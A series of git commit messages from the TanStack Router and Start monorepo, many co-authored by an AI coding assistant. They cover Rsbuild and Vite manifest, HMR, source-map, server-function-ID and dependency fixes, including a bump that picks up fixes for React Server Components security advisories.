The static-dependency pass behind the Rsbuild Start manifest runs after
every client compilation, dev updates included. It walked every
connection of every module of every chunk and read the imported module's
chunks each time. Count an imported module once per chunk, from its
first active connection, and read a module's chunks once per
compilation (memoized on the resolver created per compilation).
The manifest is unchanged.
Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
fix(react-start-rsc): bump RSC bundler deps for React Server Components advisories
Raise @vitejs/plugin-rsc to ^0.5.39 (peer >=0.5.38) and
react-server-dom-rspack to ^0.1.1 (peer >=0.1.1) so both bundled React
Flight runtimes include the fixes for GHSA-xqc2-xf4c-x3h3
(CVE-2026-126187, unauthenticated RCE) and GHSA-h3gv-c5rc-p453 (server
function DoS).
Bump the react/react-dom catalog to ~19.2.9. Stay on 19.2.x because
React 19.3 currently fails the rsc-deferred-hydration e2e suite.
* chore(pnpm): upgrade to pnpm 12
* ci: use native pnpm 12 bootstrap for compiler jobs
* fix(benchmarks): invoke the Nx CLI directly
* refactor(benchmarks): run Nx through pnpm exec
#8889 wrote the Rsbuild dev manifest with the eager `paths.manifest`.
#8868, merged after it, replaced `paths` with the lazy `pathsOf()`, which
builds the virtual paths from the resolved root on first use. Neither PR
saw the other, so main fails to type-check with "Cannot find name 'paths'".
Read the manifest path through `pathsOf()`, like every other use.
`updateManifest` runs after a client compile, so the root is resolved by
then, and the path is the same one `manifestPath` returns for the RSC
manifest rebuild.
Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
A chunk counted as a static dependency of a shared chunk when any one of
the shared chunk's groups had it. When two routes share a module in a
chunk of its own and a module that module imports is duplicated into each
route's chunk, the shared chunk depended on both route chunks, so each
route's manifest entry preloaded the other route's chunk and linked its
stylesheet. A chunk now counts as available only when every group of the
shared chunk (or one of its ancestors) has it.
Taken from #8817.
Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
* fix(start-plugin-core): write Rsbuild virtual modules under the app's root
The Rsbuild plugin read `resolvedStartConfig.root || process.cwd()` at
setup, before `modifyRsbuildConfig` resolves the root, so Start's virtual
modules always went under `<cwd>/node_modules/.virtual`. Run from another
directory (`rsbuild build --root <app>` from a monorepo root), the packages
those modules import did not resolve there: an RSC app failed with "Module
not found" on its serialization adapters. The virtual paths are now built
from the resolved root when the first Rspack config is built.
From #8817.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
* fix(start-plugin-core): resolve a relative Rsbuild root before building virtual paths
Rsbuild accepts a relative `root` (resolved against its `cwd`) but passes
it to `modifyRsbuildConfig` as written. Start stored it as is, so the
virtual modules' paths were relative and resolved against each importer:
the build failed with "Module not found". Take Rsbuild's resolved
`api.context.rootPath` unless the root is already absolute.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
* test(start-plugin-core): leave the temporary working directory before removing it
`onTestFinished` callbacks run last first, so the directory was removed
while it was still the working directory, which Windows refuses.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
* fix(start-plugin-core): use a canonical Rsbuild root for the virtual modules' paths
Rsbuild keeps `root` as written, trailing separator included (`/app/`,
and `rootPath` of a relative `app/`), so the virtual paths had `//` while
Rspack's module identifiers have one separator: the dev rebuild of the
server-fn resolver (substring match) skipped it. Resolve the root.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
* test(start-plugin-core): the relative-root Rsbuild app renders its index page
The test only checked that the build finished. Render `/` through the
built server's `fetch` handler, which also reads the server manifest.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
---------
Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
* refactor(start-plugin-core): derive server-fn ids from the stable key, with 22-character defaults
`serverFns.generateFunctionId` now receives the server function's
stable name (`greetUser`) as `functionName` instead of the generated
handler name (`greetUser_createServerFn_handler`). Repeats of the same
variable name in one file get `#1`, `#2`, ...
Default production ids are the first 22 base64url characters of the
SHA256 of `<file>#<stable key>` instead of the full 64-character hex
digest.
Split out of #8817, which derives ids the same way.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
* refactor(start-plugin-core): keep generateFunctionId's handler-name input, reject custom ids that aren't one URL path segment
Follows #8817's current id contract:
- `generateFunctionId` receives the generated handler name again
(`greetUser_createServerFn_handler`, `_1`, `_2`… for repeats), with
characters outside `[A-Za-z0-9_$]` as `_`. The handler export keeps its
name.
- The default id stays 22 base64url characters of
`sha256("<root-relative file>#<variable name>")`, `#n` for repeats.
- A custom id outside RFC 3986's unreserved characters and `$` (or `.`,
`..`, empty) fails the build, naming the file, the function and the id.
- The e2e id maps return to main's keys.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
* docs(start-plugin-core): a repeated server function name loses leading and doubled underscores
The generator's `functionName` for a repeated name goes through the old
increment rule, which strips leading underscores and collapses runs of
underscores (a second `_x` gets `x_createServerFn_handler_1`). Say so,
and pin it with `_x` twice and `café` then `caf_`.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
* docs(start-plugin-core): names that become equal after the `_` replacement get suffixes too
`café` and `caf_` both give `caf__createServerFn_handler`, so the later
one gets `caf_createServerFn_handler_1`, like a repeated variable name.
Describe the replacement first, then the suffix rule for any resulting
duplicate.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
* refactor(start-plugin-core): keep main's server-fn ids; refuse custom ids that never worked over HTTP
#8817 now prints main's default ids and passes main's functionName to
generateFunctionId, so this reverts the shorter default ids, the
generator-name split and the empty-id failure. What stays is #8817's
custom-id check: an id the URL never carries whole fails the build, one
with other characters outside the unreserved set and $ builds with a
deprecation warning, and the resolver manifest escapes a `'` in an id.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
---------
Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
* fix(start-plugin-core): find Start libraries from Vite's root
Start bundles the Start libraries (dependencies with a peer dependency on
Start) in the SSR build so its compiler compiles their server fns. It
crawled the working directory's package.json, so `vite build <app>` run
from another directory left them external and uncompiled: their server
fns returned undefined during SSR. Crawl Vite's root, which the plugin
already uses for its own root.
From #8817.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
* fix(start-plugin-core): resolve a relative Vite root before crawling for Start libraries
The `config` hook sees Vite's root as configured, which can be relative
(`root: '.'`, `vite build .`). vitefu then walked up from the relative
path and stopped at the working directory, missing a Start library
hoisted to a monorepo's `node_modules` above it. Resolve it as Vite does.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
* test(start-plugin-core): leave the temporary working directory before removing it
`onTestFinished` callbacks run last first, so the directory was removed
while it was still the working directory, which Windows refuses.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
* fix(start-plugin-core): crawl Start libraries from the physical Vite root
A root through a symlink (`vite build "$PWD"` in a symlinked directory)
made vitefu walk up the symlink's parents and miss a Start library
hoisted above the physical app directory, where Vite resolves the app's
imports from. main crawled `process.cwd()`, which is physical. Take the
root's realpath.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
* test(start-plugin-core): leave the symlinked directory before removing it
The symlinked-root test removed `linkParent` while the working directory
was still inside it (`onTestFinished` callbacks run last first), which
Windows refuses.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
---------
Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
Bump the workspace catalog and every e2e, example and benchmark
devDependency to ^2.3.1 so the lockfile resolves a single Rsbuild version.
Published peer ranges are unchanged.
The newer Rspack types allow falsy entries in a rule's `use` array, so the
Rsbuild RSC SWC integration now skips them instead of treating them as
loaders.
Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
fix(start-plugin-core): rebuild the Rsbuild RSC dev manifest after the client build
#8889 moved the Rsbuild dev manifest from a build-process global into the
server's manifest module. With React Server Components the client and server
compile concurrently, so the manifest is written while the server
compilation is already running, and dev SSR kept the fallback manifest
without CSS.
Run the existing RSC finishMake manifest rebuild in dev too. In dev it only
rebuilds when the manifest was written since this compiler last rebuilt it.
Add an Rsbuild dev mode to the rsc e2e app (test:e2e:dev:rsbuild). On main,
nine CSS tests fail in it; with this change the full suite passes. Also
accept Rsbuild dev's CSS module class names in the scoped-class assertion.
Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
fix(start-plugin-core): write Rsbuild dev manifest into the server module
In Rsbuild dev, the start manifest was stored on the build process's
globalThis and read from there by the SSR manifest module. When the server
environment runs in another runtime, such as workerd with
rsbuild-plugin-cloudflare, that global is invisible, so SSR fell back to a
manifest without CSS and pages rendered unstyled.
Write the dev manifest into the server's manifest virtual module instead,
only when its content changes. Add rsbuild dev variants (Node and workerd)
to the css-modules e2e app to cover it.
Fixes#8886
Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
* fix(router-devtools-core): restore embedded panel styling
All devtools size tokens are `calc(var(--tsrd-font-size) * n)`, but only the
floating devtools set `--tsrd-font-size` (via JS). The embedded
TanStackRouterDevtoolsPanel never had it defined, so every size declaration
was dropped: inherited font sizes, zero padding/gap/indentation and invisible
route status dots. Regressed in #1222 (v1.17.0).
Fall back to `1rem` when the variable is unset. Floating behavior is unchanged.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
* test(react-router): read devtools mode from a validated search param
Use root route validateSearch + useSearch instead of raw URLSearchParams,
and render the shadow DOM panel through a portal instead of mounting the
whole app in a shadow root.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
* test(react-router): validate devtools search param with zod
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
* test(react-router): add links to switch devtools variants
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
---------
Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
* fix(start-plugin-core): define TSS_SHELL in Rsbuild dev for SPA mode
In Rsbuild dev mode, `source.define` now sets `process.env.TSS_SHELL` and `import.meta.env.TSS_SHELL` from `startConfig.spa?.enabled` (`"true"` when SPA mode is enabled, `"false"` otherwise). Before this, Rsbuild dev never defined `TSS_SHELL`, so with `spa: { enabled: true }` it server-rendered the matched route and ran its loader on the server instead of serving only the shell. Build and preview are unchanged: the define is added only when `isDev` is true.
Changes:
- `packages/start-plugin-core/src/rsbuild/plugin.ts`: add the dev-only `TSS_SHELL` defines to the Rsbuild define block.
- `packages/start-plugin-core/tests/rsbuild/spa-shell-define.test.ts`: new test that calls the plugin's `modifyRsbuildConfig` hook. It checks that `TSS_SHELL` is `"true"` in dev with SPA enabled, `"false"` in dev without SPA, and not defined in build.
- `.changeset/rsbuild-spa-dev-shell.md`: patch changeset for `@tanstack/start-plugin-core`.
Fixes#8543
Signed-off-by: Pujitha Paladugu <10557236+pujitha24@users.noreply.github.com>
Assisted-by: claude-sonnet-5-5 (via Claude Code)
* test(start-plugin-core): check the SPA shell on a real Rsbuild dev server
- `src/rsbuild/plugin.ts`: the `TSS_SHELL` define gets #8817's comment.
- The regression test serves a real app with `rsbuild dev` (a new
`startRsbuildDevServer` in `tests/integration/start-app.ts`) and fetches
its `/` route: with `spa.enabled` the loader no longer runs on the
server; without it, the control still renders the route there. This is
#8817's `integration/rsbuild/dev-server-config.test.ts` scenario, and it
replaces the unit test that stubbed the plugin API.
- The changeset says what users see.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
* test(start-plugin-core): the SPA dev test checks the shell and counts loader runs
The SPA test only checked a 200 without `MARK_SERVER`, which an empty
answer or a loader run whose output the shell drops would also pass.
The root route now renders its own text, so the SPA answer must hold it
without the `/` route's; the loader counts its runs on `globalThis`
(Rsbuild dev runs the server bundle in the test's process), so the SPA
test asserts none and the control asserts one.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
* test(react-start): check the dev SPA shell with an e2e on Vite and Rsbuild
Replace the synthetic Rsbuild integration test with one e2e in
e2e/react-start/basic, run against both dev servers:
test:e2e--vite-spa--dev and test:e2e--rsbuild-spa--dev
(playwrightModes with E2E_DEV_SERVER, no app build, the shared dev
server prewarm). spa-shell.spec.ts checks that the raw document is the
shell, that the route's loader and beforeLoad run in the browser, and
that client navigation works from the shell. It runs in the prod SPA
mode too.
tests/integration/start-app.ts is back to main's.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
---------
Signed-off-by: Pujitha Paladugu <10557236+pujitha24@users.noreply.github.com>
Co-authored-by: Pujitha Paladugu <10557236+pujitha24@users.noreply.github.com>
Co-authored-by: Sheraff <me@florianpellet.com>
Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
fix(vue-start): pre-bundle @tanstack/vue-store so a cold dev start doesn't reload
Vue Start excludes `@tanstack/vue-router` from optimization, so Vite's
scanner never sees its `@tanstack/vue-store` import. Discovered while the
first page loads, it imports `vue` and re-chunks the already optimized
`vue`: Vite logs "optimized dependencies changed. reloading" and reloads
the page on every cold start. Declare it through `optimizeDeps.include`,
as React Start does for `@tanstack/react-store`.
From #8817.
Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
The shared Babel parser options set `decoratorsBeforeExport: true`, so
`export @dec class Store {}` failed to parse. The route generator logged
the error and wrote no route tree, and the code splitter left the route
unsplit. Start's compilers use the same options.
Dropping the option lets Babel accept decorators on either side of
`export`; decorators before `export` still print where they were.
Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
* fix(router-plugin): write `import.meta.hot.accept(` out in Vite route HMR
Vite's import analysis marks a module as a hot boundary only when its
code spells `import.meta.hot.accept(` out. The route HMR code called it
through `const hot = import.meta.hot`, so a route module no framework
plugin accepted (a `.ts` route file, or an app without
`@vitejs/plugin-react`) reloaded the page on every edit.
The React HMR code also declared a top-level `const hot`, which made a
route file with its own `hot` binding fail with `Duplicate declaration
"hot"`. Both now read `import.meta.hot` directly.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
* test(router-plugin): keep the user's `hot` binding in the module under test
Split, the component reading `hot` moves to its chunk, and with it the
user's `const hot`, so the served route module no longer holds the
binding the HMR code could collide with. Serve the route unsplit and
assert the declaration is still there.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
---------
Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
* fix(start-plugin-core): require exsolve ^1.1.3 and bypass its cache for entry lookups
exsolve caches a failed `try: true` lookup as an Error in its
process-wide cache. Before 1.1.2 that Error kept its call sites, and
with them its callers, alive for the life of the process (unjs/exsolve#63),
so each build in one process left its objects behind. Require ^1.1.3.
The cache also kept misses: Start looks up its optional entries
(`src/start.ts`, `src/client.tsx`, `src/server.ts`) once per plugin
instance, and a dev server restart got the cached miss for an entry
created since. Entry lookups now pass `cache: false`.
From #8817.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
* docs(changeset): narrow the exsolve memory claim
exsolve still caches lookups, and other packages in an app's build (for
example Nitro, which bundles an older exsolve) share its process-wide
cache. Say what the bump fixes: Start's cached failed lookups no longer
keep each build's objects alive.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
---------
Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
* fix(router-plugin): omit browser warnings from production bundles
* fix(router-plugin): only the bundler's mode keeps the warning out of the page
The code splitter always passes isProduction, so the NODE_ENV fallback in the compiler was reachable only from direct test calls. The changeset now names the bug users see.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
* test(router-plugin): real webpack and Rspack production builds ship no splitter warning
Builds an app whose route exports its component, with mode 'production' and with mode left out, and checks that no emitted JS names the app's absolute path. Fails on main. Replaces the fake-compiler matrix in router-plugin-context.test.ts.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
---------
Co-authored-by: Sheraff <me@florianpellet.com>
Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
* fix(start-plugin-core): keep the app's server.compress on Rsbuild
The Rsbuild plugin always set `server.compress: false`, so an app's
`server: { compress: true }` had no effect (#8544). It now sets it only
when the app leaves it unset: a compressed streamed page reaches the
browser only once the stream ends.
From #8817. Rsbuild merges its defaults (`compress: true`) into the
config before `modifyRsbuildConfig`, so the check reads the app's own
config through `api.getRsbuildConfig('original')`.
Fixes#8544
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
* fix(start-plugin-core): require @rsbuild/core ^2.0.5 for Start's Rsbuild plugin
Now that an app's `server.compress: true` takes effect, Rsbuild 2.0.0 to
2.0.4 would corrupt SSR response headers: their compression middleware
reads the raw header array `writeHead` form as an object. Rsbuild 2.0.5
fixed it (web-infra-dev/rsbuild#7613). Raise the optional peer of
start-plugin-core, react-start, solid-start and vue-start to ^2.0.5.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
---------
Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
* fix(start-plugin-core): pass Start's router options through to the generator and splitter
- `router.plugins` reach the route generator (#7768): one shared
`startGeneratorConfig` (from #8817) appends them after Start's own
generator plugins, on Vite and Rsbuild.
- A function-form `routeTreeFileFooter` is called at every print; Vite
no longer caches its first result.
- Rsbuild's server build keeps `codeSplittingOptions.deleteNodes`.
- Vite matches the client route tree by its exact id (#8839), not by an
unescaped `new RegExp(path)`.
Regression tests build and serve real Start apps with the built
`@tanstack/react-start` plugins (`tests/integration/start-app.ts`).
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
* test(start-plugin-core): link the test apps' packages with junctions on Windows
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
* test(start-plugin-core): run the real-build tests in their own test:integration target
The cross-platform unit-test job (Linux arm64, Windows) timed out in the
Vite dev footer test: the dev server never picked up the new route file.
`test:unit` goes back to main's dependencies (`^build`); the real-build
tests move to a `test:integration` target that builds this package and
`@tanstack/react-start` first. `test:pr`/`test:ci` run it, so it runs in
the Linux `Test` job only.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
* test(start-plugin-core): wait for the dev server's file watcher before adding a route
The generator prints the first route tree in `configResolved`, before
Vite creates its watcher, so the first tree says nothing about the
watcher being ready. A route file written during the watcher's initial
scan is taken as an existing file and never reported (no `add`), which
is how the footer test timed out on Linux arm64 and Windows. The test
now writes a file the generator ignores until the watcher reports it,
then adds the route once.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
---------
Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
* test(router-plugin): split routes' source maps point at the route file
Real webpack and Rspack builds, and Vite's dev server: a throw in a split
component, and in code it shares, maps to its line in the route file, and
the map names the route file rather than its ?tsr-split / ?tsr-shared id.
Fails on main.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
* fix(router-plugin): point split routes' source maps at the route file
- Require unplugin ^3.5.0: its webpack/Rspack transform loader dropped a
plugin's map when no earlier loader passed one (unjs/unplugin#626).
- Name the route file, not the ?tsr-split / ?tsr-shared module id, as the
source of split and shared modules' maps.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
* test(router-plugin): wait for the compiler to close before removing the app
runCompiler settled before compiler.close finished, so the test could remove
the app while webpack or Rspack was still shutting down, and a close error
went unreported.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
---------
Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
* fix(react-start-client): call HydrationBoundary hooks before the visible() gate
* fix(react-start-client): align the visible() fix with #8817 and test it through hydration
- Destructure only `o` and read `props.g` inline: keeps the deferred-hydration
client gzip at main's (+6 B with both destructured after the reorder).
- Replace the client-render test with a hydration test that runs the
intersection in each task around the boundary's first hydration attempt and
asserts no recoverable error. It fails on main.
- Use the changeset wording of #8817.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
---------
Co-authored-by: Sheraff <me@florianpellet.com>
Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
* fix(router-generator): type route-group layouts with full path `'/'`
A pathless layout inside a route group (`/(group)/_layout`) strips down
to `/`, and dropping the trailing slash left `''` in `FileRoutesByPath`.
The router gives that layout the full path `/` at runtime, as it does for
a pathless layout outside a group.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
* fix(router-generator): a childless route-group layout next to the index route still generates
With route-group layouts now typed with the full path `/`, a layout
without child routes yet (`(group)/_layout.tsx` or `(group)/route.tsx`)
next to `index.tsx` failed generation with "Conflicting configuration
paths", where it used to generate. Pathless and route-group layouts match
no URL of their own, so the full-path uniqueness check skips them, as
#8817 does. This also lets a childless `_auth.tsx` next to the index
route generate.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
* fix(router-generator): a pathless layout that carries a path still conflicts
`foo/_layout.tsx` without `foo.tsx` is given `path: '/foo'`, so it
matches `/foo` like `(group)/foo.tsx` or `foo_.tsx` does. Main rejected
that pair as conflicting; the previous commit skipped every pathless
layout in the full-path uniqueness check and let both through. Skip only
the layouts the route tree gives no `path`, using the same condition the
tree printer uses.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
* fix(router-generator): keep main's full-path conflicts, change only the types
The route tree lists the index route before a pathless layout, and the
router then matches `/` to a childless `_auth.tsx` instead of the index
route. Main refused that pair; skipping pathless layouts in the
uniqueness check let it through. Keep the check on main's key instead: the
stripped full path, which is `''` for a route group's layout, so a
childless group layout still generates next to the index route as on
main. Only the types use `'/'`.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
---------
Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
* chore: require Node ^20.19.0 || >=22.12.0 in engines
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
* chore: say why the Node engines range narrows in the changeset
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
---------
Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
The option was undocumented. The webpack and Rspack entries overwrote it
with `'webpack'`, and on Vite `'webpack'` emitted `import.meta.webpackHot`,
which broke route HMR. The HMR style is now an internal parameter: the
composed plugin derives it from the bundler unplugin reports, and the
standalone webpack/Rspack code-splitter entries pass `'webpack'`.
Split out of #8817.
Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
* refactor(router-plugin)!: remove `compilerPlugins` and splitter internals from the root entry
Remove the experimental `codeSplittingOptions.compilerPlugins` hook and
stop exporting the Babel splitter's internals from the package root:
`unpluginRouterCodeSplitterFactory`, `getObjectPropertyKeyName`,
`CodeSplitCompilerPlugin`, `ReferenceRouteCompilerPlugin`,
`ReferenceRouteCompilerPluginContext` and
`VirtualRouteSplitNodeCompilerPluginContext`.
Split out of #8817.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
* chore: make the changeset a patch
The removed option and exports were internal, not public API.
---------
Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
* fix(router-plugin): throw on autoCodeSplitting with esbuild
The esbuild plugin silently bundled every route without splitting when
`autoCodeSplitting` was enabled. It now throws a clear error, and
`TanStackRouterCodeSplitterEsbuild` always throws. Route generation is
unchanged. Extracted from #8817.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
* docs(router-plugin): drop autoCodeSplitting from the esbuild skill example
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
---------
Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
* fix(start-plugin-core): skip the Rsbuild import-protection loader when disabled
- With import protection disabled, the Rsbuild integration still added
its post loader for every JS and TS module, node_modules included,
plus its virtual modules plugin. The loader returned at once, but every
module still paid for a loader step.
- Register nothing when import protection is disabled, as the Vite
plugin does.
* test(start-plugin-core): drop the disabled import-protection unit test
* fix(start-plugin-core): skip unchanged server function resolver rebuilds in Rsbuild dev
- Skip the resolver rebuild at the end of make when the resolver has not
been written since this compiler last rebuilt it. Rebuilding an
unchanged resolver made Rspack rebuild the server chunk graph after
every edit.
- Child compilations still rebuild every time and do not change the
parent compiler's state.
- The RSC resolver hook skips unchanged writes in dev, like the non-RSC
hook.
* docs: drop the COMPILER_ARCHITECTURE.md change
* perf(start-plugin-core): skip resolving member calls on non-namespace receivers
A top-level `a.b()` initializer was a direct-call candidate for any `a`, so
`const Input = z.object({...})` resolved `z` and, in dev, loaded and parsed all
of zod through `?server-fn-module-lookup` while every compiled file waited.
For a receiver that is not a namespace import, resolution gives the call the
kind of the receiver itself, which only yields a candidate when the receiver
is an env-only factory and the code calls one of its properties. Skip those
calls; namespace calls, identifier calls and method chains resolve as before.
Refs #8757
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
* test(start-plugin-core): cover member calls across compiler modes
---------
Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
Co-authored-by: Sheraff <me@florianpellet.com>
* bump node version to 26.10.0
* run benchmarks on .nvmrc changes
* Rename client-nav-benchmarks.yml to benchmarks.yml
* chore(ci): update references to the renamed benchmarks workflow
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
---------
Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
The measurement target was named `build`, so `test:pr`/`test:ci` and
`build:all` picked it up via `--targets=...,build`. Its cache entry was
never reused: the Bundle Size workflow runs with NX_NO_CLOUD and
--skipRemoteCache. Rename it to `measure` (with explicit `cache: true`,
previously inherited from the `build` target default).
Since dependency-only changes no longer reach this target through
`nx affected`, add `.nvmrc`, `package.json` and `pnpm-lock.yaml` to the
Bundle Size workflow path filters so toolchain bumps are still measured.
Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
Disabling route generation also silently disabled autoCodeSplitting,
because the code splitter relies on route metadata populated by the
generator. Remove the option instead of patching the interaction, so the
generator always runs.
Closes#5087
Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
@tanstack/intent 0.5.4 rejects SKILL.md links that resolve outside the
owning package, which fails the "Validate intent skills" CI job. Replace
those relative links with `<package>#<skill>` identifiers that
`intent load` resolves regardless of node_modules layout.
Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
The skills added in #6866 were never published for @tanstack/react-router
because its `files` list, unlike the other packages with skills, omitted
`skills`.
Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
* perf: lower manifest script preload priority
* fix(start-server-core): forward fetchPriority into static Early Hints
Static script hints were built from getScriptPreloadAttrs but copied only
href, rel, as and crossOrigin, so Chromium started hinted preloads at
MEDIUM before the HTML's fetchPriority="low" arrived. Build them with the
shared addEarlyHintFetchAttrs helper, which the dynamic hint path already
uses, so fetchPriority (and crossOrigin) are carried into 103 hints and the
response Link header.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
* test: cover low-priority manifest preloads in Solid and Vue
Add a Solid server-suite SSR test for module and IIFE preloads and assert
fetchpriority="low" on rendered preloads in the Solid and Vue HeadContent
tests.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
* docs: note low-priority JavaScript Early Hints
Mention that JavaScript Early Hints carry fetchpriority=low and extend the
changeset to start-server-core.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
---------
Co-authored-by: Manuel Schiller <6340397+schiller-manuel@users.noreply.github.com>
Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
* chore(deps): bump srvx to ^1.0.0
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
* chore(deps): bump @vitejs/plugin-rsc to ^0.5.37
0.5.37 depends on srvx ^1.0.5, which drops the last srvx 0.11 copy from
the lockfile. It is temporarily excluded from minimumReleaseAge until it
is 24h old.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
* chore: drop minimumReleaseAge exclusion for @vitejs/plugin-rsc
0.5.37 is now older than the 24h minimum release age.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
* test(ci): TEMP experiment - rsc e2e on srvx 0.10 (revert before merge)
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
* Revert "test(ci): TEMP experiment - rsc e2e on srvx 0.10 (revert before merge)"
This reverts commit 2c7279a0b9.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
---------
Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
test(rsc): wait for streamed notifications instead of fixed sleeps
The progressive-streaming tests slept 500ms and expected the initial batch
of 3 notifications to be rendered. React throttles Suspense reveals by
300ms, so the batch can legitimately land after that window. Wait for the
3rd notification, assert the stream is still open with fewer than all
notifications, then wait for the next one and for completion.
Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
Create the request middleware deduplication set only when request
middleware is configured, and pass Start's serialization adapters to the
router without copying them when the router adds none.
Server route handlers and route middleware now receive the router's
decoded pathname, the one used for route matching.
Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
* fix(start-plugin-core): preload transitive static imports and fix Rsbuild shared-chunk CSS
Route preloads read a chunk's `imports` as a complete list, which only
holds when the bundler hoists transitive imports. Walk the static import
graph instead, and derive Rsbuild chunk imports from the module graph
rather than chunk-group siblings so shared chunks stop attaching
unrelated route CSS to the SSR response.
Fixes#8415Fixes#8511
* refactor(start-plugin-core): share one static import walk for preloads and CSS
The manifest builder walked the static import graph twice, once breadth-first
for preloads and once recursively for stylesheets. A single memoized
depth-first walk now records discovered file names for preloads and chunks in
post-order for stylesheets, which also keeps every chunk in an import cycle
seeing the whole cycle instead of a partially cached result.
The Rsbuild adapter resolved static dependency chunks again for every CSS-only
chunk reached from each importer; the resolution is now memoized per chunk.
Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com>
* docs(start-plugin-core): drop Rollup from the imports contract comments
Rollup is no longer a supported client bundler, so the `imports` contract is
described in terms of the direct-imports-only lists Rolldown and Rsbuild emit.
Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com>
---------
Co-authored-by: Manuel Schiller <6340397+schiller-manuel@users.noreply.github.com>
Co-authored-by: Claude Fable 5.1 <noreply@anthropic.com>
* refactor(start)!: remove the deprecated inputValidator
createServerFn().inputValidator() and createMiddleware().inputValidator()
were deprecated aliases of validator(). Remove both, the inputValidator
option the builders set, and the compiler's deprecation warnings, so
